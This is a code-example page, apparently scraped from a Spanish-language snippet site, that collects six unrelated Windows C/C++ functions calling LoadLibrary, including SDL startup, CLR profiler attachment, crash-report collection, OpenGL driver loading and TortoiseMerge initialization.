Ejemplo n.º 1
0
/* This is where execution begins */
int STDCALL WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR szCmdLine, int sw)
{
    char *appname;
    char *ptr;
    int i;
    FILE *fp;
    char **argv;
    int argc;

    /*
	 * Direct Draw has a nasty bug where a file that is opened before
	 * Direct Draw is invoked, *stays* open until the system is rebooted.
	 * So we need to get Direct Draw loaded before we open any files.
	 */

    {
        HANDLE h;

        h = LoadLibrary("DDRAW.DLL");
        if(h)
            FreeLibrary(LoadLibrary("DDRAW.DLL"));
    }

    /* FIXME:
	 * fprintf needs to be remapped to a windows function, otherwise when 
	 * executor dies the user has no idea why it just vanished.
	 */
    fp = freopen("stdout.txt", "w", stdout);
#if !defined(stdout)
    if(!fp)
        stdout = fopen("stdout.txt", "w");
#else
    if(!fp)
        *stdout = *fopen("stdout.txt", "w");
#endif
    setbuf(stdout, 0);
    fp = freopen("stderr.txt", "w", stderr);
#if !defined(stderr)
    if(!fp)
        stderr = fopen("stderr.txt", "w");
#else
    if(!fp)
        *stderr = *fopen("stderr.txt", "w");
#endif
    setbuf(stderr, 0);

    paramline_to_argcv(GetCommandLine(), &argc, &argv);

    /* Get the class name from argv[0] */
    /* Basename... */
    if((ptr = strrchr(argv[0], '\\')) == NULL)
        appname = argv[0];
    else
        appname = ptr + 1;
    /* minus extension... */
    if((ptr = strrchr(appname, '.')) == NULL)
        i = strlen(appname);
    else
        i = (ptr - appname);
    /* equals appname! */
    ptr = (char *)alloca(i + 1);
    strncpy(ptr, appname, i);
    ptr[i] = '\0';
    appname = ptr;

    /* Load SDL dynamic link library */
    if(SDL_Init(0) < 0)
    {
        fprintf(stderr, "WinMain() error: %s\n", SDL_GetError());
        return (false);
    }
    atexit(SDL_Quit);

    /* Create and register our class, then run main code */
    if(SDL_RegisterApp(appname, CS_BYTEALIGNCLIENT, hInst) < 0)
    {
        fprintf(stderr, "WinMain() error: %s\n", SDL_GetError());
        return (false);
    }
    SDL_main(argc, argv);

    exit(0);
}
Ejemplo n.º 2
0
HMODULE dlopen(const WCHAR *DLL, int unused) {
  return LoadLibrary(DLL);
}
Ejemplo n.º 3
0
STDAPI AttachProfiler(int pid, LPCWSTR wszTargetVersion, LPCWSTR wszProfilerPath, ProfConfig * pProfConfig, BOOL fConsoleMode)
{
    HMODULE hModule = NULL;
    LPVOID pvClientData = NULL;
    DWORD cbClientData = 0;
    HRESULT hr;

    ICLRMetaHost * pMetaHost = NULL;
    IEnumUnknown * pEnum = NULL;
    IUnknown * pUnk = NULL;
    ICLRRuntimeInfo * pRuntime = NULL;
    ICLRProfiling * pProfiling = NULL;

    g_fConsoleMode = fConsoleMode;

    DWORD dwProfileeProcessID = (DWORD) pid;

    CLSID clsidProfiler;
    CLSIDFromString(PROFILER_GUID_WCHAR, &clsidProfiler);
    
    DWORD dwMillisecondsMax = pProfConfig->dwDefaultTimeoutMs;

    bool fCLRFound = false;

    //---------------------------------------------------------------------------------------
    // GET AND CALL API
    //---------------------------------------------------------------------------------------

    hModule = LoadLibrary(L"mscoree.dll");
    if (hModule == NULL)
    {
        Log(L"LoadLibrary mscoree.dll failed.  hr=0x%x.\n", hr = HRESULT_FROM_WIN32(GetLastError()));
        goto Cleanup;
    }

    // Note: This is the ONLY C export we need out of mscoree.dll.  This enables us to
    // get started with the metahost interfaces, and it's all COM from that point
    // forward.
    CLRCreateInstanceFnPtr pfnCreateInstance = 
        (CLRCreateInstanceFnPtr)GetProcAddress(hModule, "CLRCreateInstance");
    if (pfnCreateInstance == NULL)
    {
        Log(L"GetProcAddress on 'CLRCreateInstance' failed.  hr=0x%x.\n", hr = HRESULT_FROM_WIN32(GetLastError()));
        goto Cleanup;
    }

    hr = (*pfnCreateInstance)(CLSID_CLRMetaHost, IID_ICLRMetaHost, (LPVOID *)&pMetaHost);
    if (FAILED(hr))
    {
        Log(L"CLRCreateInstance IID_ICLRMetaHost' failed.  hr=0x%x.\n", hr);
        goto Cleanup;
    }

    // Cross-user attach requires the SE_DEBUG_NAME privilege, so attempt to enable it
    // now.  Even if the privilege is not found, the CLRProfiler still continues to attach the target process.
    // We'll just fail later on if we do try to attach to a different-user target process.
    HRESULT hrEnableDebugPrivilege = EnableDebugPrivilege();
    
    HANDLE hndProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProfileeProcessID);
    if (hndProcess == NULL)
    {
        hr = HRESULT_FROM_WIN32(GetLastError());
        //If EnableDebugPrivilege is not successful, let the customer know running CLRProfiler as administrator may solve the problem.
        if (hrEnableDebugPrivilege == E_FAIL) 
        {
            Log(L"CLRProfiler can not open the target process %d (error: 0x%x), probably because CLRProfiler could not enable the debug privilege (error: 0x%x).  \n"
                L"Please run the CLRProfiler as administrator and try again.", dwProfileeProcessID, hr, hrEnableDebugPrivilege);
        }
        else
        {
            Log(L"OpenProcess failed.  hr=0x%x.\n", hr);
        }
        goto Cleanup;
    }

    // One process may have multiple versions of the CLR loaded.  Grab an enumerator to
    // get back all the versions currently loaded.
    hr = pMetaHost->EnumerateLoadedRuntimes(hndProcess, &pEnum);
    if (FAILED(hr))
    {
        Log(L"EnumerateLoadedRuntimes' failed.  hr=0x%x.\n", hr);
        goto Cleanup;
    }

    while (pEnum->Next(1, &pUnk, NULL) == S_OK)
    {
        hr = pUnk->QueryInterface(IID_ICLRRuntimeInfo, (LPVOID *) &pRuntime);
        if (FAILED(hr))
            goto LoopCleanup;
       
        WCHAR wszVersion[30];
        DWORD cchVersion = ARRAY_LEN(wszVersion);
        hr = pRuntime->GetVersionString(wszVersion, &cchVersion);
        if (SUCCEEDED(hr) && _wcsnicmp(wszVersion, wszTargetVersion, min(cchVersion, wcslen(wszTargetVersion))) == 0)
        {
            fCLRFound = true;
            hr = pRuntime->GetInterface(CLSID_CLRProfiling, IID_ICLRProfiling, (LPVOID *)&pProfiling);
            if (FAILED(hr))
            {
                Log(L"Can not get the ICLRProfiling interface. Error: 0x%x.", hr);
                break;
            }
            // Here it is!  Attach the profiler!
            // The profilee may not have access to the profler dll 
            // Give it a try.
            hr = pProfiling->AttachProfiler(dwProfileeProcessID,
                                            dwMillisecondsMax,
                                            &clsidProfiler,
                                            wszProfilerPath,
                                            (LPVOID)pProfConfig,
                                            sizeof(*pProfConfig));


            if(FAILED(hr))
            {
                if (hr == ERROR_TIMEOUT)//ERROR_TIMEOUT 
                {
                    Log(L"CLRProfiler timed out to attach to the process.\nPlease check the event log to find out whether the attach succeeded or failed.");
                }
                else if (hr == COR_E_UNAUTHORIZEDACCESS)//0x80070005
                {
                    Log(L"CLRProfiler failed to attach to the process with error code 0x80070005(COR_E_UNAUTHORIZEDACCESS).\n"
                        L"This may occur if the target process(%d) does not have access to ProfilerOBJ.dll or the directory in which ProfilerOBJ.dll is located.\n"
                        L"Please check event log for more details.", pid);
                }
                else if (hr == CORPROF_E_CONCURRENT_GC_NOT_PROFILABLE)
                {
                    Log(L"Profiler initialization failed because the target process is running with concurrent GC enabled. Either\n"
                        L"  1) turn off concurrent GC in the application's configuration file before launching the application, or\n" 
                        L"  2) simply start the application from CLRProfiler rather than trying to attach CLRProfiler after the application has already started.");
                }
                else
                {
                    Log(L"Attach Profiler Failed 0x%x, please check the event log for more details.", hr);
                }
                    
            }

            pProfiling->Release();
            pProfiling = NULL;
            break;
        }

LoopCleanup:
        if (pRuntime != NULL)
        {
            pRuntime->Release();
            pRuntime = NULL;
        }

        if (pUnk != NULL)
        {
            pUnk->Release();
            pUnk = NULL;
        }
    }

    if (fCLRFound == false)
    {
        Log(L"No CLR Version %s is loaded into the target process.", wszTargetVersion);
        hr = E_FAIL;
    }



Cleanup:

    if (pRuntime != NULL)
    {
        pRuntime->Release();
        pRuntime = NULL;
    }

    if (pUnk != NULL)
    {
        pUnk->Release();
        pUnk = NULL;
    }

    if (pEnum != NULL)
    {
        pEnum->Release();
        pEnum = NULL;
    }

    if (pMetaHost != NULL)
    {
        pMetaHost->Release();
        pMetaHost = NULL;
    }

    if (hModule != NULL)
    {
        FreeLibrary(hModule);
        hModule = NULL;
    }

    return hr;
}
Ejemplo n.º 4
0
void CCrashInfoReader::CollectMiscCrashInfo(CErrorReportInfo& eri)
{   
    // Get crash time
    Utility::GetSystemTimeUTC(eri.m_sSystemTimeUTC);

    // Open parent process handle
    HANDLE hProcess = OpenProcess(
        PROCESS_QUERY_INFORMATION|PROCESS_VM_READ, 
        FALSE, 
        m_dwProcessId);
		
    if(hProcess!=NULL)
    {	
		SIZE_T uBytesRead = 0;
		BYTE buff[1024];
		memset(&buff, 0, 1024);
		
		// Read exception information from process memory
		if(m_pExInfo!=NULL)
		{			
			if(ReadProcessMemory(hProcess, m_pExInfo, &buff, sizeof(EXCEPTION_POINTERS), &uBytesRead) &&
				uBytesRead==sizeof(EXCEPTION_POINTERS))
			{
				EXCEPTION_POINTERS* pExcPtrs = (EXCEPTION_POINTERS*)buff;

				if(pExcPtrs->ExceptionRecord!=NULL)
				{
					DWORD64 dwExcRecordAddr = (DWORD64)pExcPtrs->ExceptionRecord;
					if(ReadProcessMemory(hProcess, (LPCVOID)dwExcRecordAddr, &buff, sizeof(EXCEPTION_RECORD), &uBytesRead) &&
						uBytesRead==sizeof(EXCEPTION_RECORD))
					{
						EXCEPTION_RECORD* pExcRec = (EXCEPTION_RECORD*)buff;

						eri.m_dwExceptionAddress = (DWORD64)pExcRec->ExceptionAddress;
					}
				}				
			}
		}
		else
			eri.m_dwExceptionAddress = 0;

        // Get number of GUI resources in use  
        eri.m_dwGuiResources = GetGuiResources(hProcess, GR_GDIOBJECTS);

        // Determine if GetProcessHandleCount function available
        typedef BOOL (WINAPI *LPGETPROCESSHANDLECOUNT)(HANDLE, PDWORD);
        HMODULE hKernel32 = LoadLibrary(_T("kernel32.dll"));
        if(hKernel32!=NULL)
        {
            LPGETPROCESSHANDLECOUNT pfnGetProcessHandleCount = 
                (LPGETPROCESSHANDLECOUNT)GetProcAddress(hKernel32, "GetProcessHandleCount");
            if(pfnGetProcessHandleCount!=NULL)
            {    
                // Get count of opened handles
                DWORD dwHandleCount = 0;
                BOOL bGetHandleCount = pfnGetProcessHandleCount(hProcess, &dwHandleCount);
                if(bGetHandleCount)
                    eri.m_dwProcessHandleCount = dwHandleCount;
                else
                    eri.m_dwProcessHandleCount = 0;
            }

            FreeLibrary(hKernel32);
            hKernel32=NULL;
        }

        // Get memory usage info
        PROCESS_MEMORY_COUNTERS meminfo;
        BOOL bGetMemInfo = GetProcessMemoryInfo(hProcess, &meminfo, 
            sizeof(PROCESS_MEMORY_COUNTERS));
        if(bGetMemInfo)
        {    
            CString sMemUsage;
#ifdef _WIN64
            sMemUsage.Format(_T("%I64u"), meminfo.WorkingSetSize/1024);
#else
            sMemUsage.Format(_T("%lu"), meminfo.WorkingSetSize/1024);
#endif 
            eri.m_sMemUsage = sMemUsage;
        }

        // Determine the period of time the process is working.
        FILETIME CreationTime, ExitTime, KernelTime, UserTime;
        /*BOOL bGetTimes = */GetProcessTimes(hProcess, &CreationTime, &ExitTime, &KernelTime, &UserTime);
        /*ATLASSERT(bGetTimes);*/
        SYSTEMTIME AppStartTime;
        FileTimeToSystemTime(&CreationTime, &AppStartTime);

        SYSTEMTIME CurTime;
        GetSystemTime(&CurTime);
        ULONG64 uCurTime = Utility::SystemTimeToULONG64(CurTime);
        ULONG64 uStartTime = Utility::SystemTimeToULONG64(AppStartTime);

        // Check that the application works for at least one minute before crash.
        // This might help to avoid cyclic error report generation when the applciation
        // crashes on startup.
        double dDiffTime = (double)(uCurTime-uStartTime)*10E-08;
        //if(dDiffTime<60)
        //{
        //    m_bAppRestart = FALSE; // Disable restart.
        //} 
    }

    // Get operating system friendly name from registry.
    Utility::GetOSFriendlyName(eri.m_sOSName);

    // Determine if Windows is 64-bit.
    eri.m_bOSIs64Bit = Utility::IsOS64Bit();

    // Get geographic location.
    Utility::GetGeoLocation(eri.m_sGeoLocation);  
}
Ejemplo n.º 5
0
int loadgldriver(const char *driver)
{
	void *t;
	int err=0;
	
#ifdef RENDERTYPEWIN
	if (hGLDLL) return 0;
#endif

	if (!driver) {
#ifdef _WIN32
		driver = "OPENGL32.DLL";
#else
		driver = "libGL.so";
#endif
	}

	initprintf("Loading %s\n",driver);

#ifdef RENDERTYPESDL
	if (SDL_GL_LoadLibrary(driver)) return -1;
#	define GETPROC(s) (t = (void*)SDL_GL_GetProcAddress(s)); if (!t) { initprintf("Failed to find " s " in %s\n",driver); err = 1; }
#else
#	ifdef _WIN32
		hGLDLL = LoadLibrary(driver);
		if (!hGLDLL) return -1;
#		define GETPROC(s) \
			(t = (void*)GetProcAddress(hGLDLL,s)); \
			if (!t) { initprintf("Failed to find " s " in %s\n",driver); err = 1; }
#	else
#		error Umm...
#	endif
#endif
	gldriver = strdup(driver);

	bglClearColor		= GETPROC("glClearColor");
	bglClear		= GETPROC("glClear");
	bglColorMask		= GETPROC("glColorMask");
	bglAlphaFunc		= GETPROC("glAlphaFunc");
	bglBlendFunc		= GETPROC("glBlendFunc");
	bglCullFace		= GETPROC("glCullFace");
	bglFrontFace		= GETPROC("glFrontFace");
	bglPolygonOffset	= GETPROC("glPolygonOffset");
	bglPolygonMode		= GETPROC("glPolygonMode");
	bglEnable		= GETPROC("glEnable");
	bglDisable		= GETPROC("glDisable");
	bglGetFloatv		= GETPROC("glGetFloatv");
	bglGetIntegerv		= GETPROC("glGetIntegerv");
	bglPushAttrib		= GETPROC("glPushAttrib");
	bglPopAttrib		= GETPROC("glPopAttrib");
	bglGetError		= GETPROC("glGetError");
	bglGetString		= GETPROC("glGetString");
	bglHint			= GETPROC("glHint");

	// Depth
	bglDepthFunc		= GETPROC("glDepthFunc");
	bglDepthMask		= GETPROC("glDepthMask");
	bglDepthRange		= GETPROC("glDepthRange");

	// Matrix
	bglMatrixMode		= GETPROC("glMatrixMode");
	bglOrtho		= GETPROC("glOrtho");
	bglFrustum		= GETPROC("glFrustum");
	bglViewport		= GETPROC("glViewport");
	bglPushMatrix		= GETPROC("glPushMatrix");
	bglPopMatrix		= GETPROC("glPopMatrix");
	bglLoadIdentity		= GETPROC("glLoadIdentity");
	bglLoadMatrixf		= GETPROC("glLoadMatrixf");

	// Drawing
	bglBegin		= GETPROC("glBegin");
	bglEnd			= GETPROC("glEnd");
	bglVertex2f		= GETPROC("glVertex2f");
	bglVertex2i		= GETPROC("glVertex2i");
	bglVertex3d		= GETPROC("glVertex3d");
	bglVertex3fv		= GETPROC("glVertex3fv");
	bglColor4f		= GETPROC("glColor4f");
	bglColor4ub		= GETPROC("glColor4ub");
	bglTexCoord2d		= GETPROC("glTexCoord2d");
	bglTexCoord2f		= GETPROC("glTexCoord2f");

	// Lighting
	bglShadeModel		= GETPROC("glShadeModel");

	// Raster funcs
	bglReadPixels		= GETPROC("glReadPixels");

	// Texture mapping
	bglTexEnvf		= GETPROC("glTexEnvf");
	bglGenTextures		= GETPROC("glGenTextures");
	bglDeleteTextures	= GETPROC("glDeleteTextures");
	bglBindTexture		= GETPROC("glBindTexture");
	bglTexImage2D		= GETPROC("glTexImage2D");
	bglTexSubImage2D	= GETPROC("glTexSubImage2D");
	bglTexParameterf	= GETPROC("glTexParameterf");
	bglTexParameteri	= GETPROC("glTexParameteri");

	// Fog
	bglFogf			= GETPROC("glFogf");
	bglFogi			= GETPROC("glFogi");
	bglFogfv		= GETPROC("glFogfv");

#ifdef RENDERTYPEWIN
	bwglCreateContext	= GETPROC("wglCreateContext");
	bwglDeleteContext	= GETPROC("wglDeleteContext");
	bwglGetProcAddress	= GETPROC("wglGetProcAddress");
	bwglMakeCurrent		= GETPROC("wglMakeCurrent");

	bwglSwapBuffers		= GETPROC("wglSwapBuffers");
	bwglChoosePixelFormat	= GETPROC("wglChoosePixelFormat");
	bwglDescribePixelFormat	= GETPROC("wglDescribePixelFormat");
	bwglGetPixelFormat	= GETPROC("wglGetPixelFormat");
	bwglSetPixelFormat	= GETPROC("wglSetPixelFormat");
#endif

	if (err) unloadgldriver();
	return err;
}
Ejemplo n.º 6
0
// CTortoiseMergeApp initialization
BOOL CTortoiseMergeApp::InitInstance()
{
    SetDllDirectory(L"");
    SetTaskIDPerUUID();
    CCrashReport::Instance().AddUserInfoToReport(L"CommandLine", GetCommandLine());

    {
        DWORD len = GetCurrentDirectory(0, nullptr);
        if (len)
        {
            auto originalCurrentDirectory = std::make_unique<TCHAR[]>(len);
            if (GetCurrentDirectory(len, originalCurrentDirectory.get()))
            {
                sOrigCWD = originalCurrentDirectory.get();
                sOrigCWD = CPathUtils::GetLongPathname(sOrigCWD);
            }
        }
    }

    //set the resource dll for the required language
    CRegDWORD loc = CRegDWORD(L"Software\\TortoiseSVN\\LanguageID", 1033);
    long langId = loc;
    CString langDll;
    HINSTANCE hInst = nullptr;
    do
    {
        langDll.Format(L"%sLanguages\\TortoiseMerge%ld.dll", (LPCTSTR)CPathUtils::GetAppParentDirectory(), langId);

        hInst = LoadLibrary(langDll);
        CString sVer = _T(STRPRODUCTVER);
        CString sFileVer = CPathUtils::GetVersionFromFile(langDll);
        if (sFileVer.Compare(sVer)!=0)
        {
            FreeLibrary(hInst);
            hInst = nullptr;
        }
        if (hInst)
            AfxSetResourceHandle(hInst);
        else
        {
            DWORD lid = SUBLANGID(langId);
            lid--;
            if (lid > 0)
            {
                langId = MAKELANGID(PRIMARYLANGID(langId), lid);
            }
            else
                langId = 0;
        }
    } while ((!hInst) && (langId != 0));
    TCHAR buf[6] = { 0 };
    wcscpy_s(buf, L"en");
    langId = loc;
    CString sHelppath;
    sHelppath = this->m_pszHelpFilePath;
    sHelppath = sHelppath.MakeLower();
    sHelppath.Replace(L".chm", L"_en.chm");
    free((void*)m_pszHelpFilePath);
    m_pszHelpFilePath=_wcsdup(sHelppath);
    sHelppath = CPathUtils::GetAppParentDirectory() + L"Languages\\TortoiseMerge_en.chm";
    do
    {
        GetLocaleInfo(MAKELCID(langId, SORT_DEFAULT), LOCALE_SISO639LANGNAME, buf, _countof(buf));
        CString sLang = L"_";
        sLang += buf;
        sHelppath.Replace(L"_en", sLang);
        if (PathFileExists(sHelppath))
        {
            free((void*)m_pszHelpFilePath);
            m_pszHelpFilePath=_wcsdup(sHelppath);
            break;
        }
        sHelppath.Replace(sLang, L"_en");
        GetLocaleInfo(MAKELCID(langId, SORT_DEFAULT), LOCALE_SISO3166CTRYNAME, buf, _countof(buf));
        sLang += L"_";
        sLang += buf;
        sHelppath.Replace(L"_en", sLang);
        if (PathFileExists(sHelppath))
        {
            free((void*)m_pszHelpFilePath);
            m_pszHelpFilePath=_wcsdup(sHelppath);
            break;
        }
        sHelppath.Replace(sLang, L"_en");

        DWORD lid = SUBLANGID(langId);
        lid--;
        if (lid > 0)
        {
            langId = MAKELANGID(PRIMARYLANGID(langId), lid);
        }
        else
            langId = 0;
    } while (langId);
    setlocale(LC_ALL, "");
    // We need to explicitly set the thread locale to the system default one to avoid possible problems with saving files in its original codepage
    // The problems occures when the language of OS differs from the regional settings
    // See the details here: http://connect.microsoft.com/VisualStudio/feedback/ViewFeedback.aspx?FeedbackID=100887
    SetThreadLocale(LOCALE_SYSTEM_DEFAULT);

    // InitCommonControls() is required on Windows XP if an application
    // manifest specifies use of ComCtl32.dll version 6 or later to enable
    // visual styles.  Otherwise, any window creation will fail.
    InitCommonControls();

    CMFCVisualManager::SetDefaultManager(RUNTIME_CLASS(CMFCVisualManagerWindows));
    CMFCVisualManagerWindows::m_b3DTabsXPTheme = TRUE;
    CMFCButton::EnableWindowsTheming();
    EnableTaskbarInteraction(FALSE);

    // Initialize all Managers for usage. They are automatically constructed
    // if not yet present
    InitContextMenuManager();
    InitKeyboardManager();
    InitTooltipManager ();
    CMFCToolTipInfo params;
    params.m_bVislManagerTheme = TRUE;

    GetTooltipManager ()->SetTooltipParams (
        AFX_TOOLTIP_TYPE_ALL,
        RUNTIME_CLASS (CMFCToolTipCtrl),
        &params);

    CCmdLineParser parser = CCmdLineParser(this->m_lpCmdLine);

    g_sGroupingUUID = parser.GetVal(L"groupuuid");

    if (parser.HasKey(L"?") || parser.HasKey(L"help"))
    {
        CString sHelpText;
        sHelpText.LoadString(IDS_COMMANDLINEHELP);
        MessageBox(nullptr, sHelpText, L"TortoiseMerge", MB_ICONINFORMATION);
        return FALSE;
    }

    // Initialize OLE libraries
    if (!AfxOleInit())
    {
        AfxMessageBox(IDP_OLE_INIT_FAILED);
        return FALSE;
    }
    AfxEnableControlContainer();
    // Standard initialization
    // If you are not using these features and wish to reduce the size
    // of your final executable, you should remove from the following
    // the specific initialization routines you do not need
    // Change the registry key under which our settings are stored
    SetRegistryKey(L"TortoiseMerge");

    if (CRegDWORD(L"Software\\TortoiseMerge\\Debug", FALSE)==TRUE)
        AfxMessageBox(AfxGetApp()->m_lpCmdLine, MB_OK | MB_ICONINFORMATION);

    // To create the main window, this code creates a new frame window
    // object and then sets it as the application's main window object
    CMainFrame* pFrame = new CMainFrame;
    if (!pFrame)
        return FALSE;
    m_pMainWnd = pFrame;

    // create and load the frame with its resources
    if (!pFrame->LoadFrame(IDR_MAINFRAME, WS_OVERLAPPEDWINDOW | FWS_ADDTOTITLE, nullptr, nullptr))
        return FALSE;

    // Fill in the command line options
    pFrame->m_Data.m_baseFile.SetFileName(parser.GetVal(L"base"));
    pFrame->m_Data.m_baseFile.SetDescriptiveName(parser.GetVal(L"basename"));
    pFrame->m_Data.m_baseFile.SetReflectedName(parser.GetVal(L"basereflectedname"));
    pFrame->m_Data.m_theirFile.SetFileName(parser.GetVal(L"theirs"));
    pFrame->m_Data.m_theirFile.SetDescriptiveName(parser.GetVal(L"theirsname"));
    pFrame->m_Data.m_theirFile.SetReflectedName(parser.GetVal(L"theirsreflectedname"));
    pFrame->m_Data.m_yourFile.SetFileName(parser.GetVal(L"mine"));
    pFrame->m_Data.m_yourFile.SetDescriptiveName(parser.GetVal(L"minename"));
    pFrame->m_Data.m_yourFile.SetReflectedName(parser.GetVal(L"minereflectedname"));
    pFrame->m_Data.m_mergedFile.SetFileName(parser.GetVal(L"merged"));
    pFrame->m_Data.m_mergedFile.SetDescriptiveName(parser.GetVal(L"mergedname"));
    pFrame->m_Data.m_mergedFile.SetReflectedName(parser.GetVal(L"mergedreflectedname"));
    pFrame->m_Data.m_sPatchPath = parser.HasVal(L"patchpath") ? parser.GetVal(L"patchpath") : L"";
    pFrame->m_Data.m_sPatchPath.Replace('/', '\\');
    if (parser.HasKey(L"patchoriginal"))
        pFrame->m_Data.m_sPatchOriginal = parser.GetVal(L"patchoriginal");
    if (parser.HasKey(L"patchpatched"))
        pFrame->m_Data.m_sPatchPatched = parser.GetVal(L"patchpatched");
    pFrame->m_Data.m_sDiffFile = parser.GetVal(L"diff");
    pFrame->m_Data.m_sDiffFile.Replace('/', '\\');
    if (parser.HasKey(L"oneway"))
        pFrame->m_bOneWay = TRUE;
    if (parser.HasKey(L"diff"))
        pFrame->m_bOneWay = FALSE;
    if (parser.HasKey(L"reversedpatch"))
        pFrame->m_bReversedPatch = TRUE;
    if (parser.HasKey(L"saverequired"))
        pFrame->m_bSaveRequired = true;
    if (parser.HasKey(L"saverequiredonconflicts"))
        pFrame->m_bSaveRequiredOnConflicts = true;
    if (parser.HasKey(L"nosvnresolve"))
        pFrame->m_bAskToMarkAsResolved = false;
    if (pFrame->m_Data.IsBaseFileInUse() && !pFrame->m_Data.IsYourFileInUse() && pFrame->m_Data.IsTheirFileInUse())
    {
        pFrame->m_Data.m_yourFile.TransferDetailsFrom(pFrame->m_Data.m_theirFile);
    }

    if ((!parser.HasKey(L"patchpath"))&&(parser.HasVal(L"diff")))
    {
        // a patchfile was given, but not folder path to apply the patch to
        // If the patchfile is located inside a working copy, then use the parent directory
        // of the patchfile as the target directory, otherwise ask the user for a path.
        if (parser.HasKey(L"wc"))
            pFrame->m_Data.m_sPatchPath = pFrame->m_Data.m_sDiffFile.Left(pFrame->m_Data.m_sDiffFile.ReverseFind('\\'));
        else
        {
            CBrowseFolder fbrowser;
            fbrowser.m_style = BIF_EDITBOX | BIF_NEWDIALOGSTYLE | BIF_RETURNFSANCESTORS | BIF_RETURNONLYFSDIRS;
            if (fbrowser.Show(nullptr, pFrame->m_Data.m_sPatchPath) == CBrowseFolder::CANCEL)
                return FALSE;
        }
    }

    if ((parser.HasKey(L"patchpath"))&&(!parser.HasVal(L"diff")))
    {
        // A path was given for applying a patchfile, but
        // the patchfile itself was not.
        // So ask the user for that patchfile

        HRESULT hr;
        // Create a new common save file dialog
        CComPtr<IFileOpenDialog> pfd;
        hr = pfd.CoCreateInstance(CLSID_FileOpenDialog, nullptr, CLSCTX_INPROC_SERVER);
        if (SUCCEEDED(hr))
        {
            // Set the dialog options
            DWORD dwOptions;
            if (SUCCEEDED(hr = pfd->GetOptions(&dwOptions)))
            {
                hr = pfd->SetOptions(dwOptions | FOS_FILEMUSTEXIST | FOS_FORCEFILESYSTEM | FOS_PATHMUSTEXIST);
            }

            // Set a title
            if (SUCCEEDED(hr))
            {
                CString temp;
                temp.LoadString(IDS_OPENDIFFFILETITLE);
                pfd->SetTitle(temp);
            }
            CSelectFileFilter fileFilter(IDS_PATCHFILEFILTER);
            hr = pfd->SetFileTypes(fileFilter.GetCount(), fileFilter);
            bool bAdvised = false;
            DWORD dwCookie = 0;
            CComObjectStackEx<PatchOpenDlgEventHandler> cbk;
            CComQIPtr<IFileDialogEvents> pEvents = cbk.GetUnknown();

            {
                CComPtr<IFileDialogCustomize> pfdCustomize;
                hr = pfd.QueryInterface(&pfdCustomize);
                if (SUCCEEDED(hr))
                {
                    // check if there's a unified diff on the clipboard and
                    // add a button to the fileopen dialog if there is.
                    UINT cFormat = RegisterClipboardFormat(L"TSVN_UNIFIEDDIFF");
                    if ((cFormat) && (OpenClipboard(nullptr)))
                    {
                        HGLOBAL hglb = GetClipboardData(cFormat);
                        if (hglb)
                        {
                            pfdCustomize->AddPushButton(101, CString(MAKEINTRESOURCE(IDS_PATCH_COPYFROMCLIPBOARD)));
                            hr = pfd->Advise(pEvents, &dwCookie);
                            bAdvised = SUCCEEDED(hr);
                        }
                        CloseClipboard();
                    }
                }
            }

            // Show the save file dialog
            if (SUCCEEDED(hr) && SUCCEEDED(hr = pfd->Show(pFrame->m_hWnd)))
            {
                // Get the selection from the user
                CComPtr<IShellItem> psiResult;
                hr = pfd->GetResult(&psiResult);
                if (bAdvised)
                    pfd->Unadvise(dwCookie);
                if (SUCCEEDED(hr))
                {
                    PWSTR pszPath = nullptr;
                    hr = psiResult->GetDisplayName(SIGDN_FILESYSPATH, &pszPath);
                    if (SUCCEEDED(hr))
                    {
                        pFrame->m_Data.m_sDiffFile = pszPath;
                        CoTaskMemFree(pszPath);
                    }
                }
                else
                {
                    // no result, which means we closed the dialog in our button handler
                    std::wstring sTempFile;
                    if (TrySavePatchFromClipboard(sTempFile))
                        pFrame->m_Data.m_sDiffFile = sTempFile.c_str();
                }
            }
            else
            {
                if (bAdvised)
                    pfd->Unadvise(dwCookie);
                return FALSE;
            }
        }
    }

    if ( pFrame->m_Data.m_baseFile.GetFilename().IsEmpty() && pFrame->m_Data.m_yourFile.GetFilename().IsEmpty() )
    {
        int nArgs;
        LPWSTR *szArglist = CommandLineToArgvW(GetCommandLineW(), &nArgs);
        if (!szArglist)
            TRACE("CommandLineToArgvW failed\n");
        else
        {
            if ( nArgs==3 || nArgs==4 )
            {
                // Four parameters:
                // [0]: Program name
                // [1]: BASE file
                // [2]: my file
                // [3]: THEIR file (optional)
                // This is the same format CAppUtils::StartExtDiff
                // uses if %base and %mine are not set and most
                // other diff tools use it too.
                if ( PathFileExists(szArglist[1]) && PathFileExists(szArglist[2]) )
                {
                    pFrame->m_Data.m_baseFile.SetFileName(szArglist[1]);
                    pFrame->m_Data.m_yourFile.SetFileName(szArglist[2]);
                    if ( nArgs == 4 && PathFileExists(szArglist[3]) )
                    {
                        pFrame->m_Data.m_theirFile.SetFileName(szArglist[3]);
                    }
                }
            }
            else if (nArgs == 2)
            {
                // only one path specified: use it to fill the "open" dialog
                if (PathFileExists(szArglist[1]))
                {
                    pFrame->m_Data.m_yourFile.SetFileName(szArglist[1]);
                    pFrame->m_Data.m_yourFile.StoreFileAttributes();
                }
            }
        }

        // Free memory allocated for CommandLineToArgvW arguments.
        LocalFree(szArglist);
    }

    pFrame->m_bReadOnly = !!parser.HasKey(L"readonly");
    if (GetFileAttributes(pFrame->m_Data.m_yourFile.GetFilename()) & FILE_ATTRIBUTE_READONLY)
        pFrame->m_bReadOnly = true;
    pFrame->m_bBlame = !!parser.HasKey(L"blame");
    // diffing a blame means no editing!
    if (pFrame->m_bBlame)
        pFrame->m_bReadOnly = true;

    pFrame->SetWindowTitle();

    if (parser.HasKey(L"createunifieddiff"))
    {
        // user requested to create a unified diff file
        CString origFile = parser.GetVal(L"origfile");
        CString modifiedFile = parser.GetVal(L"modifiedfile");
        if (!origFile.IsEmpty() && !modifiedFile.IsEmpty())
        {
            CString outfile = parser.GetVal(L"outfile");
            if (outfile.IsEmpty())
            {
                CCommonAppUtils::FileOpenSave(outfile, nullptr, IDS_SAVEASTITLE, IDS_COMMONFILEFILTER, false, nullptr);
            }
            if (!outfile.IsEmpty())
            {
                CRegStdDWORD regContextLines(L"Software\\TortoiseMerge\\ContextLines", 0);
                CAppUtils::CreateUnifiedDiff(origFile, modifiedFile, outfile, regContextLines, true, false);
                return FALSE;
            }
        }
    }

    pFrame->resolveMsgWnd    = parser.HasVal(L"resolvemsghwnd")   ? (HWND)parser.GetLongLongVal(L"resolvemsghwnd")     : 0;
    pFrame->resolveMsgWParam = parser.HasVal(L"resolvemsgwparam") ? (WPARAM)parser.GetLongLongVal(L"resolvemsgwparam") : 0;
